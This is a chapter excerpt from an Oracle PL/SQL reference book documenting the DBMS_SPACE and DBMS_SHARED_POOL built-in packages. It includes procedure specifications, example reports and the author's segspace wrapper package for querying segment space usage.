A final note about the procedure name "xon": I wanted to use the procedure name "on," but ran afoul of the PL/SQL compiler since ON is a reserved word in SQL and PL/SQL.

Previous: 11.1 DBMS_SESSION: Managing Session Information | Oracle Built-in Packages | Next: 12. Managing Server Resources
11.1 DBMS_SESSION: Managing Session Information | Book Index | 12. Managing Server Resources
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 12] Managing Server Resources

Oracle Built-in Packages

Oracle Built-in PackagesSearch this book
Previous: 11.2 DBMS_System: Setting Events for Debugging Chapter 12 Next: 12.2 DBMS_SHARED_POOL: Pinning Objects

12. Managing Server Resources

Contents:
DBMS_SPACE: Obtaining Space Information
DBMS_SHARED_POOL: Pinning Objects

Through built-in packages, Oracle is now exposing more information about database internals -- information that is not directly visible in the catalog. This chapter describes two packages that expose useful information.

DBMS_SPACE

Gives DBAs an analysis of the amount of space both used and free within a table, index, or cluster segment. It also provides information about segment free list sizes -- information of special interest to Oracle Parallel Server administrators.

DBMS_SHARED_POOL

On the memory side, gives DBAs some measure of control over the Oracle System Global Area's (SGA's) shared pool. By pinning large packages into the shared pool, expensive runtime memory management (and even errors) can be avoided.

12.1 DBMS_SPACE: Obtaining Space Information

The DBMS_SPACE package provides procedures for obtaining space utilization information about table, index, and cluster segments. This information is not directly available through the Oracle data dictionary views. It can be used to report on and track segment space consumption in an Oracle database more accurately than by monitoring extent allocation alone. By measuring segment growth rates over time, DBAs can better predict the need for additional space in the database.

12.1.1 Getting Started with DBMS_SPACE

The DBMS_SPACE package is created when the Oracle database is installed. The dbmsutil.sql script (found in the built-in packages source code directory, as described in Chapter 1, Introduction) contains the source code for this package's specification. This script is called by catproc.sql, which is normally run immediately after database creation. The script creates the public synonym DBMS_SPACE for the package and grants EXECUTE privilege on the package to public. All Oracle users can reference and make use of this package.

Table Table 12.1 lists the programs in the DBMS_SPACE package.

Table 12.1: DBMS_SPACE Programs
Name | Description | Use in SQL?
FREE_BLOCKS | Returns information on free blocks for a segment | No
UNUSED_SPACE | Returns unused space information for a segment | No

The DBMS_SPACE package does not declare any exceptions or nonprogram elements.

12.1.2 The DBMS_SPACE Interface

This section describes the programs defined in DBMS_SPACE.

12.1.2.1 The DBMS_SPACE.FREE_BLOCKS procedure

The FREE_BLOCKS procedure returns information about the number of blocks on Oracle's freelist groups for a table, index, or cluster segment. Specifications for Oracle7 and Oracle8 vary as follows.

Here is the Oracle 7.x specification:

PROCEDURE DBMS_SPACE.FREE_BLOCKS
   (segment_owner IN VARCHAR2
   ,segment_name IN VARCHAR2
   ,segment_type IN VARCHAR2
   ,freelist_group_id IN NUMBER
   ,free_blks OUT NUMBER
   ,scan_limit IN NUMBER DEFAULT NULL);

Here is the Oracle 8.0 specification:

PROCEDURE DBMS_SPACE.FREE_BLOCKS
   (segment_owner IN VARCHAR2
   ,segment_name IN VARCHAR2
   ,segment_type IN VARCHAR2
   ,freelist_group_id IN NUMBER
   ,free_blks OUT NUMBER
   ,scan_limit IN NUMBER DEFAULT NULL
   ,partition_name IN VARCHAR2 DEFAULT NULL);

Parameters are summarized in the following table.

Parameter | Description
segment_owner | Schema of segment
segment_name | Name of segment
segment_type | Type of segment
freelist_group_id | Freelist group to compute
free_blks | Number of blocks on freelist
scan_limit | Maximum blocks to read
partition_name | Name of partition (8.0 only)

12.1.2.1.1 Exceptions

The FREE_BLOCKS procedure does not raise any package exceptions. FREE_BLOCKS will raise the following Oracle exception if invalid segment data is passed in or if the executing user does not have privileges to use the procedure on the segment:

ORA-00942

Table or view does not exist.

12.1.2.1.2 Restrictions

Note the following restrictions on using FREE_BLOCKS:

  • The user must have the ANALYZE ANY system privilege to use DBMS_SPACE.FREE_BLOCKS on segments from schemas other than the current session schema.

  • The program does not assert a purity level with the RESTRICT_REFERENCES pragma.

12.1.2.1.3 Example

The following code block is a simple SQL*Plus report on the size of freelist number 0 for all tables in the current session schema:

/* Filename on companion disk: spcex1.sql */*
DECLARE
   free_blocks   NUMBER;
BEGIN
   DBMS_OUTPUT.PUT_LINE(RPAD('TABLE NAME',30)||' FREELIST BLOCKS');

   FOR user_tables_rec IN
      (SELECT table_name
         FROM user_tables)
   LOOP
      DBMS_SPACE.FREE_BLOCKS
         (segment_owner => USER
         ,segment_name  => user_tables_rec.table_name
         ,segment_type  => 'TABLE'
         ,freelist_group_id  => 0
         ,free_blks => free_blocks
         ,scan_limit => NULL);

      DBMS_OUTPUT.PUT_LINE(RPAD(user_tables_rec.table_name,30)||' '||
                  TO_CHAR(free_blocks));
   END LOOP;
END;
/

This is a sample of the report output:

TABLE NAME                     FREELIST BLOCKS
Q$BGP_CONFIG                   1
Q$BGP_DEBUG                    1
Q$DICACHE_DETL                 2
Q$INSTAT_DETL                  1
Q$INSTAT_LOG                   159
Q$IOWAITS_DETL                 1
Q$LATCHSTAT_DETL               2
Q$LIBCACHE_DETL                1
Q$MTSDISP_DETL                 1
Q$MTSSERV_DETL                 1
Q$PLAN_TABLE                   1
Q$SEG                          3
Q$SEGFAIL_DETL                 1
Q$SEGWATCH                     1
Q$SESSIONWAIT_DETL             1

Blocks are added to free lists when the percentage of free space in the block is less that the PCTUSE setting for the segment. These blocks are below the segment highwater mark, and thus are not included in the unused blocks reported by DBMS_SPACE.UNUSED_SPACE.

Freelist groups are used to reduce contention in Oracle Parallel Server installations by helping to partition data among the instances. Most DBAs will thus have less use for the FREE_BLOCKS procedure than for the UNUSED_SPACE procedure.

For more information about freelists and how they can be used to minimize contention, see the Oracle7 Parallel Server Concepts and Administration manual.

12.1.2.2 The DBMS_SPACE.UNUSED_SPACE procedure

The UNUSED_SPACE procedure returns information about the unused space and the position of the highwater mark in a table, index, or cluster segment. Specifications for Oracle7 and Oracle8 differ as follows.

Here is the Oracle 7.x specification:

PROCEDURE DBMS_SPACE.UNUSED_SPACE
   (segment_owner IN VARCHAR2
   ,segment_name IN VARCHAR2
   ,segment_type IN VARCHAR2
   ,total_blocks OUT NUMBER
   ,total_bytes OUT NUMBER
   ,unused_blocks OUT NUMBER
   ,unused_bytes OUT NUMBER
   ,last_used_extent_file_id OUT NUMBER
   ,last_used_extent_block_id OUT NUMBER
   ,last_used_block OUT NUMBER);

Here is the Oracle 8.0 specification:

PROCEDURE DBMS_SPACE.UNUSED_SPACE
   (segment_owner IN VARCHAR2
   ,segment_name IN VARCHAR2
   ,segment_type IN VARCHAR2
   ,total_blocks OUT NUMBER
   ,total_bytes OUT NUMBER
   ,unused_blocks OUT NUMBER
   ,unused_bytes OUT NUMBER
   ,last_used_extent_file_id OUT NUMBER
   ,last_used_extent_block_id OUT NUMBER
   ,last_used_block OUT NUMBER
   ,partition_name IN VARCHAR2 DEFAULT NULL);

Parameters are summarized in the following table.

Name | Description
segment_owner | Schema of segment
segment_name | Name of segment
segment_type | Type of segment
total_blocks | Total data blocks in segment
total_bytes | Total bytes in segment
unused_blocks | Total unused blocks in segment
unused_bytes | Total unused bytes in segment
last_used_extent_file_id | File id of last used extent
last_used_extent_block_id | Block id of last used extent
last_used_block | Last used block in extent
partition_name | Name of partition (8.0 only)

12.1.2.2.1 Exceptions

The UNUSED_SPACE procedure does not raise any package exceptions. UNUSED_SPACE will raise the following Oracle exception if invalid segment data is passed in or if the executing user does not have privileges to use the procedure on the segment:

ORA-00942

Table or view does not exist.

12.1.2.2.2 Restrictions

Note the following restrictions on calling the UNUSED_SPACE procedure:

  • The user must have the ANALYZE ANY system privilege to use UNUSED_SPACE on segments from schemas other than the current session schema.

  • The program does not assert a purity level with the RESTRICT_REFERENCES pragma.

12.1.2.2.3 Example

The following is a simple SQL*Plus report on space utilization by tables in the current session schema. It displays total space allocated, total unused space, and the percentage of allocated space that is unused.

//* Filename on companion disk: spcex1.sql */*
DECLARE
   total_blocks  NUMBER;
   total_bytes   NUMBER;
   unused_blocks NUMBER;
   unused_bytes  NUMBER;
   last_extent_file  NUMBER;
   last_extent_block NUMBER;
   last_block    NUMBER;
   grand_total_blocks NUMBER := 0;
   grand_total_unused NUMBER := 0;

BEGIN
   FOR user_tables_rec IN
      (SELECT table_name
         FROM user_tables)
   LOOP
      DBMS_SPACE.UNUSED_SPACE
         (segment_owner => USER
         ,segment_name  => user_tables_rec.table_name
         ,segment_type  => 'TABLE'
         ,total_blocks  => total_blocks
         ,total_bytes   => total_bytes
         ,unused_blocks => unused_blocks
         ,unused_bytes  => unused_bytes
         ,last_used_extent_file_id => last_extent_file
         ,last_used_extent_block_id => last_extent_block
         ,last_used_block  => last_block
         );

      grand_total_blocks := grand_total_blocks + total_blocks;
      grand_total_unused := grand_total_unused + unused_blocks;
   END LOOP;

   DBMS_OUTPUT.PUT_LINE('Space utilization (TABLES) ');
   DBMS_OUTPUT.PUT_LINE('total blocks: '||
                                 TO_CHAR(grand_total_blocks) );
   DBMS_OUTPUT.PUT_LINE('unused blocks: '||
                                 TO_CHAR(grand_total_unused) );
   DBMS_OUTPUT.PUT_LINE('pct unused: '||
      TO_CHAR(ROUND((grand_total_unused/grand_total_blocks)*100) ) );
END;
/

This is a sample of the report output:

Space utilization (TABLES)
total blocks: 1237
unused blocks: 613
pct unused: 50

In Oracle 8.0, the partition_name parameter was added to support space analysis for partitioned segments. Since the new parameter has a default value, calls to UNUSED_SPACE written to the version 7.x specification will continue to work under 8.0.

WARNING: Under Oracle 8.0, calling DBMS_SPACE.UNUSED_SPACE for a segment results in a DDL lock being held on the segment until the PL/SQL scope within which the call is made completes. This prevents any other DDL from being executed on the segment, so long-running programs that use the UNUSED_SPACE procedure could cause unexpected interference with other DDL operations in the database.

Unused space can be deallocated from segments and returned to the free space for the segment's tablespace using the following SQL command:

ALTER [ TABLE | INDEX | CLUSTER ] segment_name DEALLOCATE UNUSED;

For information on how Oracle allocates and manages segment space, see the Oracle7 Server Concepts manual. For information on the DEALLOCATE UNUSED clause of the ALTER TABLE statement, see the Oracle7 Server SQL Reference.

12.1.3 DBMS_SPACE Examples

The DBMS_SPACE package is a good example of how Oracle Corporation is using the built-in packages to expose, in a controlled way, information about database internals not found in the data dictionary.

DBAs managing large transaction-oriented databases must pay attention to space utilization within segments. The UNUSED_SPACE procedure provides an additional level of detail that can help the DBAs make better use of space. For instance, wasted space that can be freed back to the tablespace for use by other segments can be detected and measured. Also, segment growth rates can be measured more accurately than by monitoring extent allocation, providing better information on the need to expand tablespaces.

DBAs, especially those with Oracle parallel server installations, will be interested additionally in monitoring the segment freelist information exposed by the FREE_BLOCKS procedure.

Figure 12.1 illustrates how the blocks of a segment fall into one of three categories: used, unused (above the highwater mark), and on the free list. The latter two categories are the subject of the UNUSED_SPACE and FREE_BLOCKS procedures, respectively.

Figure 12.1: Space utilization in a segment

I really like the information available in the DBMS_SPACE programs. However, I find that the programs are very unwieldy to use, due to their long, cumbersome parameter lists. The UNUSED_SPACE procedure has at least three IN parameters and seven OUT parameters! Even the earlier simple illustrative example is many lines long. What if you're interested in only one of the OUT parameters -- say, unused_blocks? You still have to allocate variables to hold all the other OUT parameters just to make the procedure call. Wouldn't it be nice to simply call a function that returns the unused blocks number for a given segment?

12.1.3.1 The segspace package

As usual, the solution to such usability issues lies in creating a package to encapsulate those unwieldy program calls with an easier-to-use layer of programs. Here is the specification for my own package called segspace:

//* Filename on companion disk: segspace.sql */*
CREATE OR REPLACE PACKAGE segspace
   /*
   || Extends the DBMS_SPACE package by creating function
   || calls to return individual parameter values
   ||
   || Author:  John Beresniewicz, Savant Corp
   || Created: 07/29/97
   ||
   || Compilation Requirements:
   ||
   || Execution Requirements:
   ||
   || ANALYZE ANY system privilege
   ||
   */
AS

   /*
   || sets the specified segment as current context
   */
   PROCEDURE set_segment
      (name_IN IN VARCHAR2
      ,type_IN IN VARCHAR2
      ,schema_IN IN VARCHAR2
      ,partition_IN IN VARCHAR2 DEFAULT NULL);

   /* returns current segment name */
   FUNCTION current_name RETURN VARCHAR2;

   /* returns current segment type */
   FUNCTION current_type RETURN VARCHAR2;

   /* returns current segment schema */
   FUNCTION current_schema RETURN VARCHAR2;

   /*
   || returns total_blocks from DBMS_SPACE.UNUSED_SPACE
   || for the segment specified
   */
   FUNCTION total_blocks
      (name_IN IN VARCHAR2 DEFAULT current_name
      ,type_IN IN VARCHAR2 DEFAULT current_type
      ,schema_IN IN VARCHAR2 DEFAULT current_schema)
   RETURN NUMBER;

   /*
   || returns unused_blocks from DBMS_SPACE.UNUSED_SPACE
   || for the segment specified
   */
   FUNCTION unused_blocks
      (name_IN IN VARCHAR2 DEFAULT current_name
      ,type_IN IN VARCHAR2 DEFAULT current_type
      ,schema_IN IN VARCHAR2 DEFAULT current_schema)
   RETURN NUMBER;

   /*
   || returns number of blocks on segment freelist using
   || DBMS_SPACE.FREE_BLOCKS
   */
   FUNCTION freelist_blocks
      (name_IN IN VARCHAR2 DEFAULT current_name
      ,type_IN IN VARCHAR2 DEFAULT current_type
      ,schema_IN IN VARCHAR2 DEFAULT current_schema
      ,freelist_group_IN IN NUMBER DEFAULT 0
      ,partition_IN IN VARCHAR2 DEFAULT NULL)
   RETURN NUMBER;

END segspace;

The segspace package has functions called total_blocks and unused_blocks. These functions both accept segment identification information as IN parameters and return the value of their corresponding OUT parameters from DBMS_SPACE.UNUSED_SPACE. So in SQL*Plus, you can use these functions as follows:

SQL> var tot_blks NUMBER
SQL> execute :tot_blks := segspace.total_blocks('TENK','TABLE','LOAD1');

PL/SQL procedure successfully completed.

SQL> print tot_blks

 TOT_BLKS
---------
      455

Well, this sure is a lot easier than calling the UNUSED_SPACE procedure directly! Notice, however, that the IN parameters to these functions also all have default values, which means that they can be suppressed when making the function call (as long as the default is the desired value). The default values used are the segment identifiers (name, type, and schema) most recently specified. Thus we can find out the unused blocks for the LOAD1.TENK table by immediately following the preceding call with this:

SQL> var unused_blks number
SQL> execute :unused_blks := segspace.unused_blocks;

PL/SQL procedure successfully completed.

SQL> print unused_blks

UNUSED_BLKS
-----------
         10

By retaining the current segment context set by the previous call and using default values, a complex procedure call (UNUSED_SPACE) with ten parameters is transformed into a simple function call requiring only a target variable for its result.

Now, this is something I might be able (and want) to actually use.

The set_segment procedure is used to set the current segment context, which amounts to establishing the default IN parameters for all the functions.

Astute readers will suspect that private package globals play a part in this trickery, and they are correct. They may also raise questions about the performance implications of splitting the OUT parameters of UNUSED_SPACE into individual function calls, as this is a relatively "expensive" procedure call to make and should not be redundantly or needlessly invoked. Well, segspace is designed to be both useful and efficient.

Here is the package body for segspace (an explanation follows the code):

//* Filename on companion disk: segspace.sql */*
CREATE OR REPLACE PACKAGE BODY segspace
AS

   /* record type to hold data on segment */
   TYPE segdata_rectype IS RECORD
      (name    VARCHAR2(30)
      ,schema  VARCHAR2(30) DEFAULT USER
      ,type    VARCHAR2(30) DEFAULT 'TABLE'
      ,partition  VARCHAR2(30) DEFAULT NULL
      ,total_blocks  NUMBER
      ,total_bytes   NUMBER
      ,unused_blocks NUMBER
      ,unused_bytes  NUMBER
      ,last_extent_file  NUMBER
      ,last_extent_block NUMBER
      ,last_block    NUMBER
      ,last_segload  DATE := SYSDATE - 1
      );

   /* global rec for current segment data */
   segdata_rec  segdata_rectype;

   /* reload timeout in seconds */
   segload_timeout   INTEGER := 60;

   /* flag for new segment */
   newseg_TF   BOOLEAN := TRUE;

   /*
   || returns the segment name from segdata_rec
   */
   FUNCTION current_name RETURN VARCHAR2
   IS
   BEGIN
      RETURN segdata_rec.name;
   END current_name;

   /*
   || returns the segment type from segdata_rec
   */
   FUNCTION current_type RETURN VARCHAR2
   IS
   BEGIN
      RETURN segdata_rec.type;
   END current_type;

   /*
   || returns the segment schema from segdata_rec
   */
   FUNCTION current_schema RETURN VARCHAR2
   IS
   BEGIN
      RETURN segdata_rec.schema;
   END current_schema;

   /*
   || sets specific segment as context
   */
   PROCEDURE set_segment
      (name_IN IN VARCHAR2
      ,type_IN IN VARCHAR2
      ,schema_IN IN VARCHAR2
      ,partition_IN IN VARCHAR2 DEFAULT NULL)
   IS
   BEGIN
      /* check if new segment and set flag */
      IF ( segdata_rec.schema != schema_IN
        OR segdata_rec.name   != name_IN
        OR segdata_rec.type   != type_IN
        OR segdata_rec.partition != partition_IN
          )
      THEN
         newseg_TF := TRUE;
      ELSE
         newseg_TF := FALSE;
      END IF;

      /* set segment globals */
      segdata_rec.schema := schema_IN;
      segdata_rec.name   := name_IN;
      segdata_rec.type   := type_IN;
      segdata_rec.partition := partition_IN;
   END set_segment;

   FUNCTION reload_TF RETURN BOOLEAN
   IS
   /*
   || returns TRUE if timed out or new segment since last load
   */
   BEGIN
      RETURN ( SYSDATE > segdata_rec.last_segload +
                          segload_timeout/(24*60*60)
             )
           OR newseg_TF;
   END reload_TF;

   PROCEDURE load_unused
   IS
   /*
   || loads segment unused space data for current segment using
   || DBMS_SPACE.UNUSED_SPACE if the segment is new or timeout limit
   || reached since last load
   */
   BEGIN
      IF reload_TF
      THEN
         DBMS_SPACE.UNUSED_SPACE
            (segment_owner => segdata_rec.schema
            ,segment_name  => segdata_rec.name
            ,segment_type  => segdata_rec.type
            ,total_blocks  => segdata_rec.total_blocks
            ,total_bytes   => segdata_rec.total_bytes
            ,unused_blocks => segdata_rec.unused_blocks
            ,unused_bytes  => segdata_rec.unused_bytes
            ,last_used_extent_file_id => segdata_rec.last_extent_file
            ,last_used_extent_block_id => segdata_rec.last_extent_block
            ,last_used_block  => segdata_rec.last_block
         /* -------------------------------------------- */
         /* NOTE: uncomment following line for Oracle 8  */
         /* -------------------------------------------- */
         /* ,partition_name  => segdata_rec.partition */
            );

         segdata_rec.last_segload := SYSDATE;
      END IF;
   END load_unused;

   FUNCTION total_blocks
      (name_IN IN VARCHAR2
      ,type_IN IN VARCHAR2
      ,schema_IN IN VARCHAR2)
   RETURN NUMBER
   IS
   /*
   || sets current segment and calls load_unused
   */
   BEGIN
      set_segment(name_IN, type_IN, schema_IN);
      load_unused;
      RETURN segdata_rec.total_blocks;
   END total_blocks;

   FUNCTION unused_blocks
      (name_IN IN VARCHAR2
      ,type_IN IN VARCHAR2
      ,schema_IN IN VARCHAR2)
   RETURN NUMBER
   IS
   /*
   || sets current segment and calls load_unused
   */
   BEGIN
      set_segment(name_IN, type_IN, schema_IN);
      load_unused;
      RETURN segdata_rec.unused_blocks;
   END unused_blocks;

   /*
   || returns number of blocks on segment freelist using
   || DBMS_SPACE.FREE_BLOCKS
   */
   FUNCTION freelist_blocks
      (name_IN IN VARCHAR2 DEFAULT current_name
      ,type_IN IN VARCHAR2 DEFAULT current_type
      ,schema_IN IN VARCHAR2 DEFAULT current_schema
      ,freelist_group_IN IN NUMBER DEFAULT 0
      ,partition_IN IN VARCHAR2 DEFAULT NULL)
   RETURN NUMBER
   IS
      /* variable to hold output from call to FREE_BLOCKS */
      temp_freelist_blocks NUMBER;

      /*
      || loads segment freelist size using DBMS_SPACE.FREE_BLOCKS
      || scan limit NULL means no limit
      */
      BEGIN
         DBMS_SPACE.FREE_BLOCKS
            (segment_owner => schema_IN
            ,segment_name  => name_IN
            ,segment_type  => type_IN
            ,freelist_group_id => freelist_group_IN
            ,free_blks => temp_freelist_blocks
            ,scan_limit => NULL
         /* -------------------------------------------- */
         /* NOTE: uncomment following line for Oracle 8  */
         /* -------------------------------------------- */
         /* ,partition_name  => partition_IN          */
            );

      RETURN temp_freelist_blocks;
   END freelist_blocks;

END segspace;

The segspace package body declares a record type called segdata_rectype and a private global of that type called segdata_rec. This record is designed to hold a copy of all parameters (both IN and OUT) used by the UNUSED_SPACE procedure. The name, schema, type, and partition fields in segdata_rec correspond to the IN parameters of UNUSED_SPACE. These are set using the set_segment procedure. Think of this as the current segment context -- the segment currently being analyzed. The functions current_name, current_schema, and current_type simply return the corresponding elements of the current segment context.

The load_unused procedure is the one that actually calls UNUSED_SPACE. It takes as IN parameters the appropriate field values from segdata_rec, and assigns its OUT values to the corresponding fields in segdata_rec. Now the individual OUT parameters from UNUSED_SPACE can be exposed through individual function calls that return fields from segdata_rec.

So the basic logic is quite simple:

  1. The set_segment procedure establishes a segment context in segdata_rec.

  2. The load_unused procedure loads UNUSED_SPACE information for the current segment into segdata_rec.

  3. Individual field values from segdata_rec are returned through functions such as total_blocks and unused_block.

Now, a three-step process to retrieve the data items individually does not really represent an increase in usability, so what really happens is that the functions total_blocks and unused_blocks each do all three steps.

   FUNCTION unused_blocks
      (name_IN IN VARCHAR2
      ,type_IN IN VARCHAR2
      ,schema_IN IN VARCHAR2)
   RETURN NUMBER
   IS
   /*
   || sets current segment and calls load_unused
   */
   BEGIN
      set_segment(name_IN, type_IN, schema_IN);
      load_unused;
      RETURN segdata_rec.unused_blocks;
   END unused_blocks;

Remember that calling DBMS_SPACE.UNUSED_SPACE is relatively expensive, and we want to avoid calling it more often than necessary. It would be nice to be able to do the following without calling UNUSED_SPACE twice:

BEGIN
   pct_free := 100*
               (segspace.unused_blocks('TABLENAME','TABLE','SCHEMA') /
                segspace.total_blocks('TABLENAME','TABLE','SCHEMA')
                );
END;

The load_unused procedure avoids calling UNUSED_SPACE too often by checking a function called reload_TF, which returns a BOOLEAN indicating whether to reload segment data. The reload_TF function will return TRUE (reload) if either of the following is TRUE:

  • It has been longer than segload_timeout seconds since the last call to DBMS_SPACE.LOAD_UNUSED.

  • The current segment context is different than the context for the last call to DBMS_SPACE.LOAD_UNUSED.

Thus the previous PL/SQL block will call UNUSED_SPACE at most once (and perhaps not at all, if it was recently called for the same segment). The private global newseg_TF is a BOOLEAN flag indicating a new context. This is maintained by the set_segment procedure: whenever a context is established, the flag is set to TRUE, if it is a new context.

Additional usability in the total_blocks and unused_blocks functions is achieved by using default values for the IN parameters and careful ordering of the parameters. The default values for name_IN, type_IN, and schema_IN are assigned by the functions current_name, current_type, and current_schema. The parameters are ordered such that the most likely to change (name) is first, followed by type, and then schema. This is based on the reasonable assumption that when doing space analysis, the user will probably do all tables by schema or all indexes by schema. Additionally, the initial default prior to setting a context at all is the current user schema and segment type TABLE.

Q: Q: Why did I use functions for the default values instead of direct reference to segdata_rec?

A: A: In order to directly reference the segdata_rec components for parameter defaults in the package specification, I would have also had to declare segdata_rec in the specification. This would expose segdata_rec such that it could be inadvertently modified by other programs. By using functions for the default values, segdata_rec can be declared privately (and thus protected) in the package body.

A: The function freelist_blocks simply calls DBMS_SPACE.FREE_BLOCKS and returns its single OUT parameter free_blks. Because FREE_BLOCKS has only a single OUT parameter, it was not really necessary to implement the optimizations discussed previously to avoid redundant calls. The function does improve usability by supplying defaults for the IN parameters to FREE_BLOCKS, reducing the calling profile where the defaults are correct. Be careful, though, because freelist_blocks does not do a set_segment to establish a context. If it is used alone (i.e., not in conjunction with total_blocks or unused_blocks), it is best to specify a full segment context in the call.

Q: Q: Why did I choose to not have freelist_blocks call set_segment to establish a segment context?

A: A: The unused_blocks function relies on segdata_rec to provide information about the current segment context loaded by the load_unused procedure. If the freelist_blocks function were to call set_segment to establish a context, it would also have to call load_unused to keep segdata_rec in synch with the context. This would introduce significant and unnecessary overhead, when only freelist information is desired.

Here is an example of using the segspace package in a SQL*Plus script to report on unused space in segments for a specific tablespace:

/* Filename on companion disk: spcex2.sql */*
undefine tablespace_name
set serveroutput on size 100000
set verify off

DECLARE
   total_blocks NUMBER :=0;
   unused_blocks NUMBER :=0;
BEGIN
   DBMS_OUTPUT.PUT_LINE('TABLESPACE: '||UPPER('&&tablespace_name'));
   FOR seg_rec IN
      (SELECT segment_name, segment_type, owner
         FROM dba_segments
        WHERE tablespace_name = UPPER('&&tablespace_name') )
   LOOP
      total_blocks := total_blocks +
                        segspace.total_blocks
                           (seg_rec.segment_name
                           ,seg_rec.segment_type
                           ,seg_rec.owner);

      unused_blocks := unused_blocks + segspace.unused_blocks;
   END LOOP;
   DBMS_OUTPUT.PUT_LINE('Total Blocks: '||TO_CHAR(total_blocks));
   DBMS_OUTPUT.PUT_LINE('Unused Blocks: '||TO_CHAR(unused_blocks));
   DBMS_OUTPUT.PUT_LINE('Pct Unused: '||
            TO_CHAR(ROUND(unused_blocks/total_blocks*100)) );
END;
/

This is sample output from executing the script:

Enter value for tablespace_name: LOAD_DATA
TABLESPACE: LOAD_DATA
Total Blocks: 9195
Unused Blocks: 1300
Pct Unused: 14

PL/SQL procedure successfully completed.

I like using segspace to probe space utilization within segments. With segspace, I can obtain useful reports like the previous one with a few quick lines. Direct use of DBMS_SPACE would require much more time and effort.

Previous: 11.2 DBMS_System: Setting Events for Debugging | Oracle Built-in Packages | Next: 12.2 DBMS_SHARED_POOL: Pinning Objects
11.2 DBMS_System: Setting Events for Debugging | Book Index | 12.2 DBMS_SHARED_POOL: Pinning Objects
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 12] 12.2 DBMS_SHARED_POOL: Pinning Objects

Oracle Built-in Packages

Oracle Built-in PackagesSearch this book

12.2 DBMS_SHARED_POOL: Pinning Objects

The DBMS_SHARED_POOL package provides procedures that allow PL/SQL objects and SQL cursors to be pinned (kept) in the Oracle shared pool. Once pinned, objects are not subject to the normal aging-out processes of the shared pool.

DBMS_SHARED_POOL is used primarily by DBAs to help solve memory management and performance issues that can arise when applications make use of large PL/SQL objects or SQL cursors. Two problems can arise when large objects need to be loaded into the shared pool:

  • ORA-04031 errors where insufficient memory is available and the user call fails to execute.

  • Degraded performance due to the memory management overhead involved in finding and making room to load large objects.

Pinning large objects into the shared pool when the Oracle instance is first started can reduce or eliminate these problems. Some DBAs use DBMS_SHARED_POOL in their database startup scripts to help ensure that shared pool memory is used efficiently.

12.2.1 Getting Started with DBMS_SHARED_POOL

The DBMS_SHARED_POOL package is created when the Oracle database is installed. The dbmspool.sql script (found in the built-in packages source code directory, as described in Chapter 1) contains the source code for this package's specification. Unlike many of the other built-in package scripts, this script is not called by catproc.sql. Thus, the DBA must manually build this package. This is accomplished by executing the dbmspool.sql and prvtpool.plb scripts (in order) from SQLDBA or Server Manager when connected as the INTERNAL user.

Access to the DBMS_SHARED_POOL package is not automatically granted to any users, nor is a public synonym referencing the package created. The package is intended for use strictly by the Oracle DBA, usually when connected as the SYS user. Under Oracle8, the EXECUTE_CATALOG_ROLE role is granted EXECUTE privilege on DBMS_SHARED_POOL, so any users with this role can use the package.

Table 12-2 lists the programs available in this package.

Table 12.2: DBMS_SHARED_POOL Programs
Name | Description | Use in SQL?
ABORTED_REQUEST_ THRESHOLD | Sets size threshold for aborting object loads if memory is low | No
KEEP | Pins object into shared pool | No
SIZES | Displays shared pool objects larger than given size | No
UNKEEP | Unpins object from shared pool | No

DBMS_SHARED_POOL does not declare any exceptions or nonprogram elements.

12.2.2 Pinning and Unpinning Objects

The KEEP and UNKEEP procedures are used to pin and unpin objects in the Oracle shared pool.

12.2.2.1 The DBMS_SHARED_POOL.KEEP procedure

The KEEP procedure allows DBAs to pin PL/SQL or cursor objects into the Oracle shared pool. Pinning objects into the shared pool eliminates the need for Oracle to do dynamic memory management when users reference the object. The program header follows:

PROCEDURE DBMS_SHARED_POOL.KEEP
   (name IN VARCHAR2
   ,flag IN CHAR DEFAULT 'P');

Parameters are summarized in the following table.

Parameter | Description
name | Name of the object to pin
flag | Notifies the KEEP procedure of the kind of object specified in the name parameter

The flag parameter can take the following values:

flag Value | Object Type
P or p | Package, procedure, or function name
Q or q (v8 only) | Sequence name
R or r | Trigger name
Any other character | Cursor specified by address and hash value

12.2.2.1.1 Exceptions

The KEEP procedure does not raise any package exceptions. It can raise the following Oracle exceptions if the name parameter does not resolve to a real object or an object of the proper type:

ORA-06564

Object <object name> does not exist.

ORA-06502

PL/SQL: numeric or value error.

12.2.2.1.2 Restrictions

Note the following restrictions on calling KEEP:

  • TABLE and VIEW objects cannot be pinned using KEEP. Pinning sequences are supported in the Oracle8 version only.

  • Oracle warns that the KEEP procedure may not be supported in future releases.

  • The program does not assert a purity level with the RESTRICT_REFERENCES pragma.

12.2.2.1.3 Example

This example illustrates using SQL*Plus to pin the package SYS.STANDARD into the shared pool:

SQL> BEGIN
  2     SYS.DBMS_SHARED_POOL.KEEP('SYS.STANDARD','P');
  3  END;
  4  /

PL/SQL procedure successfully completed.

In the example for DBMS_SHARED_POOL.SIZES, we see that the SYS.STANDARD package is 119 kilobytes in size. This is a good candidate for routinely pinning into the shared pool. Other Oracle packages that are probably good to keep in the shared pool are SYS.DBMS_STANDARD, SYS.DIUTIL, and SYS.DBMS_SYS_SQL.

It is best to pin any objects that are relatively large (larger than 10-20 kilobytes), especially if they are used intermittently. Doing so minimizes the likelihood that dynamic object loading will flush items out of the shared pool to make room for the object.

For an example of pinning a cursor into the shared pool, see the Section 12.2.4, "DBMS_SHARED_POOL Examples"" section.

12.2.2.2 The DBMS_SHARED_POOL.UNKEEP procedure

The UNKEEP procedure allows the DBA to release from the Oracle shared pool a pinned object that has previously been pinned using the KEEP procedure. Once unpinned, the object is subject to the normal shared pool memory management aging and flushing routines. Here's the header for this program:

PROCEDURE DBMS_SHARED_POOL.UNKEEP
   (name IN VARCHAR2
   ,flag IN CHAR DEFAULT 'P');

Parameters are summarized in the following table.

Parameter | Description
name | Name of the object to unpin
flag | Notifies the UNKEEP procedure of the kind of object specified in the name parameter

The flag parameter can take the following values:

flag Value | Object Type
P or p | Package, procedure, or function name
Q or q (v8 only) | Sequence name
R or r | Trigger name
Any other character | Cursor specified by address and hash value

